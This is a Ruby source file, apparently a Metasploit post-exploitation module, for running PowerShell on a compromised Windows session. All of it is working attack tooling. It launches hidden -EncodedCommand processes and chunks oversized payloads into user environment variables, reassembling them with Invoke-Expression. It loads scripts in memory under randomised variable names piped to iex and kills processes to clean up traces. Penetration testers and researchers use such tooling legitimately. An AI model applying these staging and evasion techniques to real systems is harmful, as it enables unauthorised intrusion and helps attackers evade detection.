353 lines
12 KiB
Ruby
353 lines
12 KiB
Ruby
# -*- coding: binary -*-
|
|
require 'msf/core/exploit/powershell'
|
|
require 'msf/core/post/common'
|
|
|
|
module Msf
|
|
class Post
|
|
module Windows
|
|
|
|
module Powershell
|
|
include ::Msf::Exploit::Powershell
|
|
include ::Msf::Post::Common
|
|
|
|
def initialize(info = {})
|
|
super
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
|
|
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
|
|
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
|
|
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
|
|
], self.class)
|
|
end
|
|
|
|
#
|
|
# Returns true if powershell is installed
|
|
#
|
|
def have_powershell?
|
|
cmd_out = cmd_exec('cmd.exe /c "echo. | powershell get-host"')
|
|
return true if cmd_out =~ /Name.*Version.*InstanceId/m
|
|
return false
|
|
end
|
|
|
|
#
|
|
# Get/compare list of current PS processes - nested execution can spawn many children
|
|
# doing checks before and after execution allows us to kill more children...
|
|
# This is a hack, better solutions are welcome since this could kill user
|
|
# spawned powershell windows created between comparisons.
|
|
#
|
|
def get_ps_pids(pids = [])
|
|
current_pids = session.sys.process.get_processes.keep_if {|p|
|
|
p['name'].downcase == 'powershell.exe'
|
|
}.map {|p| p['pid']}
|
|
# Subtract previously known pids
|
|
current_pids = (current_pids - pids).uniq
|
|
return current_pids
|
|
end
|
|
|
|
#
|
|
# Execute a powershell script and return the output, channels, and pids. The script
|
|
# is never written to disk.
|
|
#
|
|
def execute_script(script, greedy_kill = false)
|
|
@session_pids ||= []
|
|
running_pids = greedy_kill ? get_ps_pids : []
|
|
open_channels = []
|
|
# Execute using -EncodedCommand
|
|
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
|
|
ps_bin = datastore['Powershell::Post::force_wow64'] ?
|
|
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
|
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
|
|
script = encode_script(script.to_s)
|
|
end
|
|
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
|
|
vprint_good("EXECUTING:\n#{ps_string}")
|
|
cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})
|
|
|
|
# Subtract prior PIDs from current
|
|
if greedy_kill
|
|
Rex::ThreadSafe.sleep(3) # Let PS start child procs
|
|
running_pids = get_ps_pids(running_pids)
|
|
end
|
|
|
|
# Add to list of running processes
|
|
running_pids << cmd_out.pid
|
|
|
|
# All pids start here, so store them in a class variable
|
|
(@session_pids += running_pids).uniq!
|
|
|
|
# Add to list of open channels
|
|
open_channels << cmd_out
|
|
|
|
return [cmd_out, running_pids.uniq, open_channels]
|
|
end
|
|
|
|
|
|
#
|
|
# Powershell scripts that are longer than 8000 bytes are split into 8000
|
|
# byte chunks and stored as CMD environment variables. A new powershell
|
|
# script is built that will reassemble the chunks and execute the script.
|
|
# Returns the reassembly script.
|
|
#
|
|
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
|
|
|
|
# Check to ensure script is encoded and compressed
|
|
if compressed_script =~ /\s|\.|\;/
|
|
compressed_script = compress_script(compressed_script)
|
|
end
|
|
# Divide the encoded script into 8000 byte chunks and iterate
|
|
index = 0
|
|
count = 8000
|
|
while (index < compressed_script.size - 1)
|
|
# Define random, but serialized variable name
|
|
env_prefix = "%05d" % ((index + 8000)/8000)
|
|
env_variable = env_prefix + env_suffix
|
|
|
|
# Create chunk
|
|
chunk = compressed_script[index, count]
|
|
|
|
# Build the set commands
|
|
set_env_variable = "[Environment]::SetEnvironmentVariable("
|
|
set_env_variable += "'#{env_variable}',"
|
|
set_env_variable += "'#{chunk}', 'User')"
|
|
|
|
# Compress and encode the set command
|
|
encoded_stager = encode_script(compress_script(set_env_variable))
|
|
|
|
# Stage the payload
|
|
print_good(" - Bytes remaining: #{compressed_script.size - index}")
|
|
cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
|
|
# Increment index
|
|
index += count
|
|
|
|
end
|
|
|
|
# Build the script reassembler
|
|
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
|
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
|
|
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
|
|
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
|
|
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
|
|
|
|
# Compress and encode the reassemble command
|
|
encoded_script = encode_script(compress_script(reassemble_command))
|
|
|
|
return encoded_script
|
|
end
|
|
|
|
#
|
|
# Uploads a script into a Powershell session via memory (Powershell session types only).
|
|
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
|
|
#
|
|
def stage_psh_env(script)
|
|
begin
|
|
ps_script = read_script(script)
|
|
encoded_expression = encode_script(ps_script)
|
|
cleanup_commands = []
|
|
# Add entropy to script variable names
|
|
script_var = ps_script.rig.generate(4)
|
|
decscript = ps_script.rig.generate(4)
|
|
scriptby = ps_script.rig.generate(4)
|
|
scriptbybase = ps_script.rig.generate(4)
|
|
scriptbybasefull = ps_script.rig.generate(4)
|
|
|
|
if (encoded_expression.size > 14999)
|
|
print_error("Script size: #{encoded_expression.size} This script requires a stager")
|
|
arr = encoded_expression.chars.each_slice(14999).map(&:join)
|
|
print_good("Loading " + arr.count.to_s + " chunks into the stager.")
|
|
vararray = []
|
|
arr.each_with_index do |slice, index|
|
|
variable = ps_script.rig.generate(5)
|
|
vararray << variable
|
|
indexval = index+1
|
|
vprint_good("Loaded stage:#{indexval}")
|
|
session.shell_command("$#{variable} = \"#{slice}\"")
|
|
cleanup_commands << "Remove-Variable #{variable} -EA 0"
|
|
end
|
|
linkvars = ''
|
|
for var in vararray
|
|
linkvars = linkvars + " + $" + var
|
|
end
|
|
linkvars.slice!(0..2)
|
|
session.shell_command("$#{script_var} = #{linkvars}")
|
|
else
|
|
print_good("Script size: #{encoded_expression.size}")
|
|
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
|
|
end
|
|
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
|
|
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
|
|
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
|
|
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
|
|
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
|
|
print_good("Module loaded")
|
|
unless cleanup_commands.empty?
|
|
vprint_good("Cleaning up #{cleanup_commands.count} stager variables")
|
|
session.shell_command("#{cleanup_commands.join(';')}")
|
|
end
|
|
rescue Errno::EISDIR => e
|
|
vprint_error("Unable to upload script: #{e.message}")
|
|
end
|
|
end
|
|
|
|
#
|
|
# Reads output of the command channel and empties the buffer.
|
|
# Will optionally log command output to disk.
|
|
#
|
|
def get_ps_output(cmd_out, eof, read_wait = 5)
|
|
results = ''
|
|
|
|
if datastore['Powershell::Post::log_output']
|
|
# Get target's computer name
|
|
computer_name = session.sys.config.sysinfo['Computer']
|
|
|
|
# Create unique log directory
|
|
log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
|
|
::FileUtils.mkdir_p(log_dir)
|
|
|
|
# Define log filename
|
|
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
|
|
log_file = ::File.join(log_dir,"#{time_stamp}.txt")
|
|
|
|
|
|
# Open log file for writing
|
|
fd = ::File.new(log_file, 'w+')
|
|
end
|
|
|
|
# Read output until eof or nil return output and write to log
|
|
while (1)
|
|
line = ::Timeout.timeout(read_wait) {
|
|
cmd_out.channel.read
|
|
} rescue nil
|
|
break if line.nil?
|
|
if (line.sub!(/#{eof}/, ''))
|
|
results << line
|
|
fd.write(line) if fd
|
|
#vprint_good("\t#{line}")
|
|
break
|
|
end
|
|
results << line
|
|
fd.write(line) if fd
|
|
#vprint_status("\n#{line}")
|
|
end
|
|
|
|
# Close log file
|
|
# cmd_out.channel.close()
|
|
fd.close() if fd
|
|
|
|
return results
|
|
|
|
#
|
|
# Incremental read method - NOT USED
|
|
#
|
|
# read_data = ''
|
|
# segment = 2**16
|
|
# # Read incrementally smaller blocks after each failure/timeout
|
|
# while segment > 0 do
|
|
# begin
|
|
# read_data << ::Timeout.timeout(read_wait) {
|
|
# cmd_out.channel.read(segment)
|
|
# }
|
|
# rescue
|
|
# segment = segment/2
|
|
# end
|
|
# end
|
|
end
|
|
|
|
#
|
|
# Clean up powershell script including process and chunks stored in environment variables
|
|
#
|
|
def clean_up(
|
|
script_file = nil,
|
|
eof = '',
|
|
running_pids =[],
|
|
open_channels = [],
|
|
env_suffix = Rex::Text.rand_text_alpha(8),
|
|
delete = false
|
|
)
|
|
# Remove environment variables
|
|
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
|
env_del_command += "Select-String #{env_suffix}|%{"
|
|
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
|
|
|
|
script = compress_script(env_del_command, eof)
|
|
cmd_out, new_running_pids, new_open_channels = execute_script(script)
|
|
get_ps_output(cmd_out, eof)
|
|
|
|
# Kill running processes, should mutex this...
|
|
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
|
|
(running_pids + new_running_pids).uniq.each do |pid|
|
|
begin
|
|
if session.sys.process.processes.map {|x|x['pid']}.include?(pid)
|
|
session.sys.process.kill(pid)
|
|
end
|
|
@session_pids.delete(pid)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error "Failed to kill #{pid} due to #{e}"
|
|
end
|
|
end
|
|
|
|
|
|
# Close open channels
|
|
(open_channels + new_open_channels).uniq.each do |chan|
|
|
chan.channel.close
|
|
end
|
|
|
|
::File.delete(script_file) if (script_file and delete)
|
|
|
|
return
|
|
end
|
|
|
|
# Simple script execution wrapper, performs all steps
|
|
# required to execute a string of powershell.
|
|
# This method will try to kill all powershell.exe PIDs
|
|
# which appeared during its execution, set greedy_kill
|
|
# to false if this is not desired.
|
|
#
|
|
def psh_exec(script, greedy_kill=true, ps_cleanup=true)
|
|
# Define vars
|
|
eof = Rex::Text.rand_text_alpha(8)
|
|
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
|
|
env_suffix = Rex::Text.rand_text_alpha(8)
|
|
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
|
|
# Check to ensure base64 encoding - regex format and content length division
|
|
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
|
|
script = encode_script(compress_script(script.to_s, eof),eof)
|
|
end
|
|
if datastore['Powershell::Post::dry_run']
|
|
return "powershell -EncodedCommand #{script}"
|
|
else
|
|
# Check 8k cmd buffer limit, stage if needed
|
|
if (script.size > 8100)
|
|
vprint_error("Compressed size: #{script.size}")
|
|
error_msg = "Compressed size may cause command to exceed "
|
|
error_msg += "cmd.exe's 8kB character limit."
|
|
vprint_error(error_msg)
|
|
vprint_good('Launching stager:')
|
|
script = stage_cmd_env(script, env_suffix)
|
|
print_good("Payload successfully staged.")
|
|
else
|
|
print_good("Compressed size: #{script.size}")
|
|
end
|
|
vprint_good("Final command #{script}")
|
|
# Execute the script, get the output, and kill the resulting PIDs
|
|
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
|
|
if datastore['Powershell::Post::timeout'].to_i < 0
|
|
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
|
|
# print_error out
|
|
return out
|
|
end
|
|
ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout'])
|
|
# Kill off the resulting processes if needed
|
|
if ps_cleanup
|
|
vprint_good( "Cleaning up #{running_pids.join(', ')}" )
|
|
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
|
|
end
|
|
return ps_output
|
|
end
|
|
end
|
|
|
|
end
|
|
end
|
|
end
|
|
end
|